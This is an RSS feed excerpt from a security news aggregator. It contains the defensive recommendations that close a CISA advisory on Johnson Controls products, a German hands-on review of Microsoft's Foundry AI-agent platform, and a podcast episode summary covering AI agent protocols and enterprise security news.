<ul>
<li>Johnson Controls reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-30</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-30</td>
<td>1</td>
<td>Initial Republication of Johnson Controls Inc. Security Advisory JCI-PSA-2026-09</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Foundry im Test]]></title>
<description><![CDATA[Laut Microsoft war es „noch nie so einfach, KI-Apps und -Agenten zu erstellen, zu optimieren und zu steuern“, wie mit der Foundry-Plattform. Wie nah das an der Wahrheit ist, haben wir im Rahmen eines Tests herausgefunden.Foundry



Auf den ersten Blick wirkt Microsoft Foundry wie eine Sammelsuriu...]]></description>
<link>https://tsecurity.de/de/3697591/it-security-nachrichten/microsoft-foundry-im-test/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697591/it-security-nachrichten/microsoft-foundry-im-test/</guid>
<pubDate>Mon, 03 Aug 2026 00:06:06 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Microsoft-Foundry-06_16z9.png?w=1024" alt="Microsoft Foundry 16z9" class="wp-image-4198346" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Laut Microsoft war es „noch nie so einfach, KI-Apps und -Agenten zu erstellen, zu optimieren und zu steuern“, wie mit der Foundry-Plattform. Wie nah das an der Wahrheit ist, haben wir im Rahmen eines Tests herausgefunden.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p class="wp-block-paragraph">Auf den ersten Blick wirkt <a href="https://azure.microsoft.com/de-de/products/ai-foundry" target="_blank" rel="noreferrer noopener">Microsoft Foundry</a> wie eine Sammelsurium sämtlicher KI-bezogenen Services, die Microsoft im letzten Jahrzehnt angeboten hat – ergänzt um einige neue. Mit seiner KI-Plattform möchte Microsoft gleich mehrere Zielgruppen in Unternehmen adressieren:</p>



<ul class="wp-block-list">
<li><strong>Anwendungsentwickler</strong>, um KI-Agenten zu kreieren und bereitzustellen, die bei Bedarf auch auf Modelle und Tools zugreifen können.</li>



<li><strong>Machine-Learning-Ingenieure</strong> und <strong>Datenwissenschaftler</strong>, um Modelle feinabzustimmen, Evaluierungen durchzuführen und Modell-Deployments zu managen.</li>



<li><strong>IT-Admins</strong> und <strong>Platform Engineers</strong>, um KI-Ressourcen zu steuern, Richtlinien durchzusetzen und Zugänge teamübergreifend zu verwalten.</li>
</ul>



<p class="wp-block-paragraph">Wie sich das in der Praxis gestaltet, haben wir im Rahmen eines ausführlichen Tests herausgefunden – zumindest mit Blick auf die beiden erstgenannten Zielgruppen. Dabei klären wir auch, wie sich Microsoft Foundry im Vergleich zu seinen direkten Konkurrenten – etwa dem Agent Development Kit von Google oder Amazon Bedrock – schlägt. Zuvor werfen wir allerdings einen Blick auf die Komponenten von Microsofts KI-Plattform.</p>



<h2 class="wp-block-heading">Microsoft Foundry Agent Service</h2>



<p class="wp-block-paragraph">Mit dem <a href="https://azure.microsoft.com/de-de/products/ai-foundry/agent-service/" target="_blank" rel="noreferrer noopener">Microsoft Foundry Agent Service</a> bekommen Devs Unterstützung dabei, KI-Agenten zu entwickeln, bereitzustellen und zu skalieren. Diese können auf Large Language Models (<a href="https://www.computerwoche.de/article/4155050/25-fragen-die-zum-richtigen-llm-fuhren.html" target="_blank">LLMs</a>) zugreifen, um komplexe Anfragen zu bearbeiten, sich mit anderen Tools verbinden oder auch eigenständig Tasks ausführen.</p>



<p class="wp-block-paragraph">Im Rahmen des Agent Service werden KI-Agenten in drei Haupttypen kategorisiert:</p>



<ul class="wp-block-list">
<li><strong>Prompt Agents</strong> sind einfach einzurichten und eignen sich hervorragend, um Ideen möglichst schnell auszuprobieren.</li>



<li><strong>Workflow Agents</strong>, die visuelle oder <a href="https://www.computerwoche.de/article/2815752/so-umgehen-sie-yaml-probleme.html" target="_blank">YAML</a>-basierte Tools sind und es erleichtern, mehrstufige Arbeitsabläufe zu automatisieren.</li>



<li><strong>Hosted Agents</strong>, die eigentlich Container sind, mit denen sich eigener Code oder auch Frameworks wie <a href="https://www.computerwoche.de/article/4164993/best-practices-um-agentic-ai-systeme-aufzubauen.html" target="_blank">LangGraph</a> managen lassen.</li>
</ul>



<p class="wp-block-paragraph">Darüber hinaus verfügt Microsoft Foundry auch über einen Modellkatalog (dazu gleich mehr) sowie einen Tool-Katalog, der Websuche, <a href="https://www.computerwoche.de/article/4192090/so-geht-memory-optimierung-bei-ki-agenten.html" target="_blank">Memory Management</a> und Code Execution umfasst.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/Microsoft-Foundry-01.png?w=1024" alt="Microsoft Foundry 01" class="wp-image-4165805" width="1024" height="426" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Der Microsoft Foundry Agent Service auf einen Blick.</figcaption></figure><p class="imageCredit">Microsoft</p></div>



<p class="wp-block-paragraph"></p>



<h2 class="wp-block-heading">Microsoft Foundry Models</h2>



<p class="wp-block-paragraph"><a href="https://azure.microsoft.com/en-us/products/ai-foundry/models/" target="_blank" rel="noreferrer noopener">Microsoft Foundry Models</a> ist eine Sammlung von KI-Architekturen, die von Microsoft und anderen Anbietern bereitgestellt werden –  inklusive Foundation- und Reasoning-Modellen sowie solchen für <a href="https://www.computerwoche.de/article/4173136/17-llms-fur-spezialdomanen.html" target="_blank">Spezialdomänen</a>. Diese werden in zwei Gruppen unterteilt:</p>



<ul class="wp-block-list">
<li>direkt über Azure erwerbbare Modelle, und</li>



<li>über die Community geteilte.</li>
</ul>



<p class="wp-block-paragraph">Entwickler können so leichter einschätzen, in welchem Umfang sie mit direktem Support durch Microsoft rechnen können – und wie gut sich das jeweilige Modell in ihre bestehende Cloud-Umgebung <a href="https://www.computerwoche.de/article/2833780/3-tipps-fuer-bessere-llm-deployments.html" target="_blank">einfügt</a>. Modelle von Microsoft verfügen über offizielle Service Level Agreements und sind gut integriert. Modelle von Partnern wie Anthropic und Meta ermöglichen es, Innovationen nach deren Regeln zu erkunden.</p>



<p class="wp-block-paragraph">Microsofts Foundry-Plattform lässt sich auf zweierlei Arten nutzen (siehe auch nachfolgender Screenshot):</p>



<ul class="wp-block-list">
<li>Bei <strong>Managed Compute</strong> werden die Model Weights über virtuelle Maschinen (<a href="https://www.computerwoche.de/article/2814705/was-sind-virtual-machines.html" target="_blank">VMs</a>) bereitgestellt. Dadurch eignet sich diese Option besonders gut für komplexe Aufgaben wie Modelle feinabzustimmen oder deren Lebenszyklus mit Hilfe von Azure Machine Learning im Blick zu behalten. Allerdings fallen für die VMs Kosten an, solange sie aktiv sind.</li>



<li><strong>Serverless Deployments</strong> bieten hingegen einfachen, API-basierten Zugriff auf die Modelle von Microsoft – hierbei wird in der Regel auf <a href="https://www.computerwoche.de/article/4182846/ki-token-erklart.html" target="_blank">Token</a>-Basis abgerechnet, nicht nach Hardwarenutzung.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/Microsoft-Foundry-02.png?w=1024" alt="Microsoft Foundry 02" class="wp-image-4165810" width="1024" height="421" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Die Deployment-Optionen für Modelle in Microsoft Foundry im Vergleich.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p class="wp-block-paragraph">Um dabei die Sicherheit zu gewährleisten, verfügt die Plattform über integrierte Content-Safety-Filter, die nach potenziellen Gefahren Ausschau halten. Falls erforderlich, lassen sich Daten zusätzlich absichern, indem der Zugriff über öffentliche Netzwerke deaktiviert wird und sämtliche Hub-basierten Projektarbeiten über private Endpunkte abgewickelt werden.</p>



<p class="wp-block-paragraph">Geht es darum, ein bestimmtes KI-Modell auszuwählen, lohnt sich außerdem ein Blick auf das Modell-Leaderboard von Microsofts KI-Plattform.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/04/Microsoft-Foundry-05.png?w=1024" alt="Microsoft Foundry 05" class="wp-image-4165812" width="1024" height="963" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Das (filterbare) Modell-Leaderboard von Microsoft Foundry. Benutzer werden schnell feststellen, dass die Modelle mit der höchsten Qualität nicht unbedingt die sichersten, schnellsten oder günstigsten sind.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<h2 class="wp-block-heading">Die Microsoft Foundry Control Plane</h2>



<p class="wp-block-paragraph">Bei der <a href="https://azure.microsoft.com/de-de/products/ai-foundry/control-plane">Control Plane von Microsoft Foundry</a> handelt es sich im Wesentlichen um ein Dashboard, mit dem Entwickler all ihre KI-Agenten, -Modelle und -Tools im Blick behalten können. Dieses bringt sämtliche administrativen Aufgaben aus verschiedenen Projekten in einer Ansicht zusammen. Das erleichtert nicht nur den Überblick, sondern auch die Performance-, Kosten- und Compliance-Kontrollen.</p>



<p class="wp-block-paragraph">Die konkreten Management-Aufgaben werden dabei auf verschiedene Bereiche – beziehungsweise „Panes“ – verteilt:</p>



<ul class="wp-block-list">
<li><strong>Assets</strong> enthält eine Liste aller KI-Ressourcen und gibt Auskunft über deren Status. Über diesen Bereich wird außerdem überwacht, was während der Ausführung geschieht. Um dabei eventuelle Probleme möglichst frühzeitig zu erkennen, wird außerdem ein „Health Score“ zu jeder Ressource ausgegeben.</li>



<li>Über <strong>Compliance</strong> lassen sich mithilfe von Microsoft Defender und Purview unternehmensweite Regeln aufsetzen. Sicherheitswarnungen und Richtlinienverstöße können „in einem Schwung“ behoben werden, um sicherzustellen, dass sämtliche Benutzer die Agenten sicher nutzen und den Regeln folgen.</li>



<li>Mit den Bereichen <strong>Admin</strong> und <strong>Quota</strong> lässt sich überwachen, wer welche Aktionen ausführen darf und wie viel Ressourcen dabei verbraucht werden. Das unterstützt bei der Kostenkontrolle und hilft gegen „Ressourcen-Monopole“ unter den Nutzern.</li>
</ul>



<p class="wp-block-paragraph">Darüber hinaus sorgt die Control Plane der KI-Plattform über Tools auch für automatisierte <a href="https://www.computerwoche.de/article/4155663/6-wege-uber-ki-gehackt-zu-werden.html" target="_blank">Schwachstellen-Scans</a> – etwa im Hinblick auf Prompt Injection – und stellt Tipps zur Verfügung, um Prompts zu optimieren.</p>



<p class="wp-block-paragraph">Geht es um Observability, steht <a href="https://azure.microsoft.com/de-de/products/ai-foundry/observability" target="_blank" rel="noreferrer noopener">ein eigenes Toolkit</a> innerhalb der Foundry Control Plane zur Verfügung. Damit lassen sich Systeme während des Betriebs überwachen und Fehler beheben. Parallel wird sichergestellt, dass die Ergebnisse sowohl qualitativ hochwertig als auch sicher sind.</p>



<p class="wp-block-paragraph">Auch hierbei setzt Microsoft auf eine Dreiteilung:</p>



<ul class="wp-block-list">
<li>Im Bereich <strong>Evaluation</strong> überprüfen spezielle Tools das Modell beispielsweise auf unzulässige Inhalte oder versteckten Bias. Entwickler können auch eigene Evaluierungs-Funktionen erstellen, um zu gewährleisten, dass das KI-Modell ihren spezifischen Anforderungen entspricht.</li>



<li><strong>Production Monitoring</strong> etabliert eine Art „Live-Kamera“ für Anwendungen und ist mit Azure Monitor verknüpft. So lässt sich etwa im Blick behalten, wie viele Ressourcen verbraucht werden und wie schnell – oder langsam – das System läuft. Sobald etwas schiefgeht, werden Alerts ausgegeben.</li>



<li><strong>Distributed Tracing</strong> nutzt schließlich <a href="https://www.computerwoche.de/article/3628608/opentelemetry-wird-2025-gros.html" target="_blank">OpenTelemetry</a>, um darzustellen, wie die KI-Agenten arbeiten. Das ermöglicht es unter anderem, komplexe Reasoning-Prozesse nachzuvollziehen oder zu erkennen, an welchen Punkten eine Anwendung erlahmt.</li>
</ul>



<h2 class="wp-block-heading">Die Developer Experience von Microsoft Foundry</h2>



<p class="wp-block-paragraph">Agentische Applikationen lassen sich mit Microsoft Foundry grundsätzlich in vier verschiedenen Programmiersprachen entwickeln: <strong>Python</strong>, <strong>C#</strong>, <strong>TypeScript/JavaScript</strong> sowie <strong>Java</strong>. Allerdings sind die meisten Beispiele und Lösungs-Templates in Python verfasst und enthalten in der Regel Microsoft-Bison-Konfigurationsdateien für Azure. In Sachen IDE können <a href="https://www.computerwoche.de/article/2833165/10-tricks-fuer-visual-studio-code.html" target="_blank">Visual Studio Code</a> oder auch ein anderes Tool zum Einsatz kommen. Ersteres erfordert zusätzlich das <a href="https://marketplace.visualstudio.com/items?itemName=TeamsDevApp.vscode-ai-foundry" target="_blank" rel="noreferrer noopener">entsprechende Add-On</a>. </p>



<p class="wp-block-paragraph">Um (die meisten) Lösungs-Templates nutzen zu können, sind zudem obligatorisch:</p>



<ul class="wp-block-list">
<li>Projekt- und KI-Berechtigungen in Azure,  </li>



<li>das <a href="https://learn.microsoft.com/en-us/cli/azure/what-is-azure-cli" target="_blank" rel="noreferrer noopener">Azure-CLI</a>, sowie</li>



<li>das <a href="https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/" target="_blank" rel="noreferrer noopener">Azure Developer-CLI</a>.</li>
</ul>



<p class="wp-block-paragraph">Es empfiehlt sich zudem, auch <a href="https://www.computerwoche.de/article/2812266/was-ist-git.html" target="_blank">Git</a> zu installieren (falls nicht längst geschehen), um Beispiel-Repositories aus den Foundry-SDKs klonen zu können. Davon stehen derzeit (Stand: Juli 2026) <a href="https://learn.microsoft.com/de-de/azure/foundry/how-to/develop/sdk-overview?pivots=programming-language-python" target="_blank" rel="noreferrer noopener">fünf verschiedene zur Verfügung</a> – die jeweils in den vier eingangs genannten Sprachen implementiert sind.  </p>



<p class="wp-block-paragraph">Es ist auch möglich, Claude Code <a href="https://learn.microsoft.com/de-de/azure/foundry/foundry-models/how-to/configure-claude-code?tabs=bash" target="_blank" rel="noreferrer noopener">für Microsoft Foundry zu konfigurieren</a>, um den Agenten auf der Azure-Infrastruktur auszuführen und gleichzeitig die Daten innerhalb der eigenen Compliance-Grenzen zu halten. Der Haken an der Sache: In dieser Konfiguration müssen  Claude-Modelle über ihre Azure-API ausgeführt und pro Token bezahlt werden – selbst wenn Sie bereits ein entsprechendes Abonnement bei Anthropic abgeschlossen haben.</p>



<p class="wp-block-paragraph">Aktuell bietet Microsoft Foundry Zugriff auf <a href="https://learn.microsoft.com/de-de/azure/foundry/how-to/develop/ai-template-get-started" target="_blank" rel="noreferrer noopener">verschiedene Templates</a> für allgemeine KI-Szenarien, die den Einstieg in die KI-Plattform erleichtern. Als erstes Projekt eignet sich <a href="https://github.com/Azure-Samples/get-started-with-ai-chat" target="_blank" rel="noreferrer noopener">dieses Chat-Template</a> besonders gut. Dessen Architektur macht der nachfolgende Screenshot deutlich.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/Microsoft-Foundry-04.png?w=1024" alt="Microsoft Foundry 04" class="wp-image-4165831" width="1024" height="273" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"> „Get started with AI Chat“ stellt eine webbasierte Chat-Anwendung mit KI-Funktionen bereit, die in Azure Container App ausgeführt wird. Es fehlen jedoch wesentliche Security-Funktionen.</figcaption></figure><p class="imageCredit">Microsoft</p></div>



<p class="wp-block-paragraph">Weitere erwähnenswerte Features, die die Entwicklererfahrung optimieren können, sind:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/de-de/azure/foundry/concepts/concept-playgrounds" target="_blank" rel="noreferrer noopener">On-Demand-Playgrounds</a> für Rapid Prototyping, API-Discovery und technische Validierung – jeweils für Modelle, Agenten, Videos (Preview) und Bilder.</li>



<li><a href="https://learn.microsoft.com/de-de/azure/foundry/agents/how-to/vs-code-agents-workflow-low-code" target="_blank" rel="noreferrer noopener">Deklarative</a> und <a href="https://learn.microsoft.com/de-de/azure/foundry/agents/how-to/vs-code-agents-workflow-pro-code?tabs=windows-powershell&amp;pivots=python" target="_blank" rel="noreferrer noopener">gehostete</a> Agenten-Workflows. Erstgenannte realisieren vordefinierte Aktionssequenzen für KI-Agenten mit Hilfe von YAML-Konfigurationen anstelle expliziter Programmierlogik. Zweitgenannte ermöglichen mehreren Agenten, sequenziell zusammenzuarbeiten, wobei jeder über ein eigenes Modell, eigene Tools und eigene Anweisungen verfügt.</li>



<li>Der <a href="https://learn.microsoft.com/de-de/azure/foundry/mcp/get-started?tabs=user" target="_blank" rel="noreferrer noopener">Foundry MCP Server</a> (Preview) bietet eine Sammlung von Tools, über die Agenten mit Foundry-Services interagieren können, indem sie Daten lesen und schreiben. Dazu ist keine direkte Verbindung zu den Backend-APIs erforderlich.</li>



<li>Zudem ist auch <a href="https://learn.microsoft.com/de-de/azure/foundry/how-to/fireworks/enable-fireworks-models" target="_blank" rel="noreferrer noopener">Fireworks AI</a> in Microsoft Foundry integriert. Damit können die neuesten Open-Source-Modelle genutzt und eigene Modelle auf die GPU-gestützte Infrastruktur von Fireworks übertragen werden.</li>
</ul>



<h2 class="wp-block-heading">Microsoft Foundry im Praxistest</h2>



<p class="wp-block-paragraph">Der Vorgänger von Microsoft Foundry war <a href="https://www.computerwoche.de/article/2831652/azure-ai-studio-angetestet.html" target="_blank">Azure AI Studio</a>. Als einer der nützlichsten Aspekte dieses Vorläufers erwies sich sein Playground. Damit konnten nicht nur eigene Ideen ausgetestet werden – es standen auch Dutzende von Beispielen zur Verfügung, um effektive Kombinationen aus Anweisungen, Prompts und Modellen zu identifizieren.</p>



<p class="wp-block-paragraph">Dieser Playground wurde seither für Agenten weiterentwickelt, allerdings scheinen diese Samples dabei leider auf der Strecke geblieben zu sein. Aber Microsoft stellt im Rahmen der Dokumentation von Foundry immerhin noch eine recht gelungene <a href="https://learn.microsoft.com/de-de/azure/foundry/openai/concepts/prompt-engineering" target="_blank" rel="noreferrer noopener">Zusammenfassung von Prompt-Engineering-Techniken</a> zur Verfügung.</p>



<p class="wp-block-paragraph">Um den <strong>Agents Playground</strong> in Microsoft Foundry zu testen, haben wir folgenden System-Prompt genutzt:</p>



<p class="wp-block-paragraph"><code>Du bist ein sorgfältiger Forscher, der niemals Antworten erfindet und immer Quellen angibt.</code></p>



<p class="wp-block-paragraph">Systemanweisungen dieser Art sorgen dafür, dass das Modell auf dem rechten Weg bleibt, verhindern jedoch nicht immer, dass Halluzinationen auftreten. Anschließend haben wir die KI darum gebeten, die „Abschließende unwissenschaftliche Nachschrift“ des Philosophen <a href="https://de.wikipedia.org/wiki/S%C3%B8ren_Kierkegaard" target="_blank" rel="noreferrer noopener">Søren Kierkegaard</a> zusammenzufassen – ein relativ umfassendes Werk.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/Microsoft-Foundry-06.png?w=1024" alt="Microsoft Foundry 06" class="wp-image-4166177" width="1024" height="902" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Der Agents Playground in Microsoft Foundry ist nützlich, um Modelle, Tools, Guardrails, Anweisungen und Prompts auszuprobieren. Das Open-Weight-Mixture-of-Experts-Modell (MoE) gpt-oss-120bvon OpenAI konnte eine relativ gute Zusammenfassung des Werks von Kierkegaard liefern.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p class="wp-block-paragraph">In der nächsten Phase unseres Tests haben wir schließlich noch eines der von Microsoft für seine KI-Plattform bereitgestellten Lösungs-Templates ausprobiert – „<a href="https://github.com/Azure-Samples/get-started-with-ai-agents">Get started with AI Agents</a>“. Der gesamte Prozess dauerte etwa eine Stunde, lief fast ausschließlich in der Cloud ab und kostete mich gerade einmal zwei (US-)Cent.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/Microsoft-Foundry-07.png?w=1024" alt="Microsoft Foundry 07" class="wp-image-4166621" width="1024" height="902" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Ein Blick auf die README-Datei zu „Get started with AI Agents“. Hierbei handelt es sich um eine simple Beispiellösung, um KI-Agenten und eine Web-App mit Azure AI Foundry und SDKs bereitzustellen.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p class="wp-block-paragraph">Der <a href="https://github.com/Azure-Samples/get-started-with-ai-agents#getting-started" target="_blank" rel="noreferrer noopener">Anleitung auf GitHub</a> folgend, öffnet ein Klick auf die Schaltfläche „Dev Containers“ im Wesentlichen eine VM-basierte VS-Code-Umgebung in der Azure-Cloud. Bei dieser Lösung nutzt der Agent Azure AI Search, um Wissen gegen eine Vektordatenbank abzufragen. Zudem gibt es integrierte Funktionen für Troubleshooting und Performance-Optimierung. Im Wesentlichen handelt es sich um Retrieval Augmented Generation (RAG) in Web-Agenten-Form.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/Microsoft-Foundry-09.png?w=1024" alt="Microsoft Foundry 09" class="wp-image-4166624" width="1024" height="902" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Der Chatbot beantwortet Fragen zu einem hochgeladenen Produktkatalog.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<h2 class="wp-block-heading">Microsoft Foundry – unser Testfazit</h2>



<p class="wp-block-paragraph">Insgesamt hat sich Microsoft Foundry in unserem Test gut geschlagen. Die KI-Plattform kann Anwendungsentwickler tatsächlich nachhaltig darin unterstützen, KI-Agenten aufzusetzen und bereitzustellen, die auf Modelle und Tools zugreifen. Die Plattform ist benutzer-, beziehungsweise entwicklerfreundlich ausgestaltet, die Modell-Auswahl ist solide und der Agents Playground funktioniert hervorragend.</p>



<p class="wp-block-paragraph">Insofern ist Microsoft Foundry auf Augenhöhe mit seinem Konkurrenten <a href="https://www.computerwoche.de/article/4020090/ki-agenten-erstellen-mit-google-adk.html" target="_blank">Google ADK</a> – und hat uns zudem besser gefallen als <a href="https://www.computerwoche.de/article/2832919/amazon-bedrock-angetestet.html" target="_blank">Amazon Bedrock AgentCore</a>. Microsoft Foundry selbst ist kostenlos – allerdings sind einzelne Services und Features mit jeweils eigenem Abrechnungs- und Preismodell ausgestattet. Sämtliche Infos zum Preisgefüge <a href="https://azure.microsoft.com/de-de/products/ai-foundry#pricing" target="_blank" rel="noreferrer noopener">finden Sie hier</a>.</p>



<p class="wp-block-paragraph"><strong>Pro:</strong></p>



<ul class="wp-block-list">
<li>zahlreiche Funktionen, um Agenten zu erstellen und bereitzustellen;</li>



<li>der Agents Playground bietet eine interaktive Möglichkeit, Agenten zu entwickeln und zu testen;</li>



<li>diverse Templates und Samples erleichtern den Einstieg;</li>



<li>die Preisgestaltung erscheint angemessen.</li>
</ul>



<p class="wp-block-paragraph"><strong>Kontra:</strong></p>



<ul class="wp-block-list">
<li>die Dokumentation schreckt durch ihren Umfang ab;</li>



<li>sich in Microsoft Foundry einzugewöhnen, kann eine Weile dauern.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist </strong><a href="https://www.infoworld.com/article/4165766/building-ai-apps-and-agents-with-microsoft-foundry.html" target="_blank"><strong>im Original</strong></a><strong> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Exploring AI Network Protocols; Vulnerability Truths and Guarantees; and the News - Jeremiah Grossman, O'Shea Bowens - ESW #469]]></title>
<description><![CDATA[Segment 1 - Interview with O'Shea Bowens What do we really know about "AI Network Protocols"? Network security is about to get popular all over again. Generative AI caused a disruptive explosion across all of tech and every company's roadmap. The move from chatbots to AI agents doubled down on th...]]></description>
<link>https://tsecurity.de/de/3697545/it-security-nachrichten/exploring-ai-network-protocols-vulnerability-truths-and-guarantees-and-the-news-jeremiah-grossman-oshea-bowens-esw-469/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697545/it-security-nachrichten/exploring-ai-network-protocols-vulnerability-truths-and-guarantees-and-the-news-jeremiah-grossman-oshea-bowens-esw-469/</guid>
<pubDate>Mon, 03 Aug 2026 00:04:37 +0200</pubDate>
<content:encoded><![CDATA[<h3>Segment 1 - Interview with O'Shea Bowens</h3> <p>What do we really know about "AI Network Protocols"? Network security is about to get popular all over again.</p> <p>Generative AI caused a disruptive explosion across all of tech and every company's roadmap. The move from chatbots to AI agents doubled down on that disruption. Now agents need to talk to each other?</p> <p>Boom: we have MCP. A2A. Universal Commerce Protocol. General purpose and specialized protocols for agent communication. What does this look like from the network perspective, though? O'Shea Bowen joins us to answer this question, and he thinks the results are interesting enough to spark a resurgence of interest in network security tooling.</p> <p>Segment Resources:</p> <ol> <li><a rel="noopener" target="_blank" href="https://www.nsa.gov/Portals/75/documents/Cybersecurity/CSI_MCP_SECURITY.pdf?ver=bmgiSbNQLP6Z_GiWtRt6bg%3D%3D"> https://www.nsa.gov/Portals/75/documents/Cybersecurity/CSI<em>MCP</em>SECURITY.pdf?ver=bmgiSbNQLP6Z_GiWtRt6bg%3D%3D</a></li> <li><a rel="noopener" target="_blank" href="https://labs.cloudsecurityalliance.org/research/csa-research-note-mcp-security-crisis-20260504-csa-styled/"> https://labs.cloudsecurityalliance.org/research/csa-research-note-mcp-security-crisis-20260504-csa-styled/</a></li> <li><a rel="noopener" target="_blank" href="https://cyberone.security/blog/building-an-ai-security-strategy-without-stalling-business-growth"> https://cyberone.security/blog/building-an-ai-security-strategy-without-stalling-business-growth</a></li> </ol> <h3>Segment 2 - Interview with Jeremiah Grossman</h3> <p>Jeremiah Grossman on why we've been measuring cyber risk wrong for 20 years</p> <p>After decades helping shape modern web security, and building companies that were ultimately acquired by Synopsys and Tenable, Jeremiah Grossman believes cybersecurity has arrived at an inflection point. His argument is a provocative one: for years, the industry has optimized around the wrong metrics. His latest venture, Root Evidence, aims to help security teams identify which risks are most likely to cause meaningful business loss, and he has the evidence - real-world breach data, cyber insurance claims, digital forensics intelligence, attack surface intelligence, and observed attacker behavior - to back it up.</p> <p>Find all of CyberRisk TV's Black Hat 2026 coverage at: <a rel="noopener" target="_blank" href="https://www.securityweekly.com/blackhat">https://www.securityweekly.com/blackhat</a></p> <h3>Segment 3 - Weekly Enterprise News</h3> <p>Finally, in the enterprise security news,</p> <ol> <li>We vibe check the AI model situation</li> <li>hidden devices in California cars causes concerns</li> <li>OpenAI's models escape sandboxes and breaches another AI company, totally by accident, they promise!</li> <li>Grok Build uploads all your files, totally by accident, they promise!</li> <li>Eclipsium debuts a firmware version of patch tuesday!</li> <li>HTTP gets a new method</li> <li>common problems with incident response</li> <li>Which one of the security weekly hosts would consider switching to a "dumb phone"?</li> </ol> <p>All that and more, on this episode of Enterprise Security Weekly.</p> <p>Visit <a rel="noopener" target="_blank" href="https://www.securityweekly.com/esw">https://www.securityweekly.com/esw</a> for all the latest episodes!</p> <p>Show Notes: <a rel="noopener" target="_blank" href="https://securityweekly.com/esw-469">https://securityweekly.com/esw-469</a></p>]]></content:encoded>
</item>
<item>
